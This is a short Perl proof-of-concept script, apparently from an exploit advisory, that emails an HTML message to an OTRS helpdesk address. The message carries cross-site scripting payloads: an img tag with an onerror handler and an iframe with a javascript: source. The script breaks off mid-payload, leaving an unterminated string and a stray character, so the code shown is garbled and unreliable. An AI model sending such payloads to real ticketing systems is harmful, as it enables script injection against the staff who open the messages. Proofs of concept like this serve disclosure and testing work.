#!/usr/bin/perl -w
use strict;
use MIME::Lite;
my $msg = MIME::Lite->new(
Subject => 'OTRS XSS PoC' ,
From => 'attacker@example.com' ,
To => 'otrs@example.com' ,
Type => 'text/html' ,
Data =>
'<html><body><img/onerror= "alert(\'XSS1\')" src=a><iframe
src=javasc&
);
$msg -> send ();
|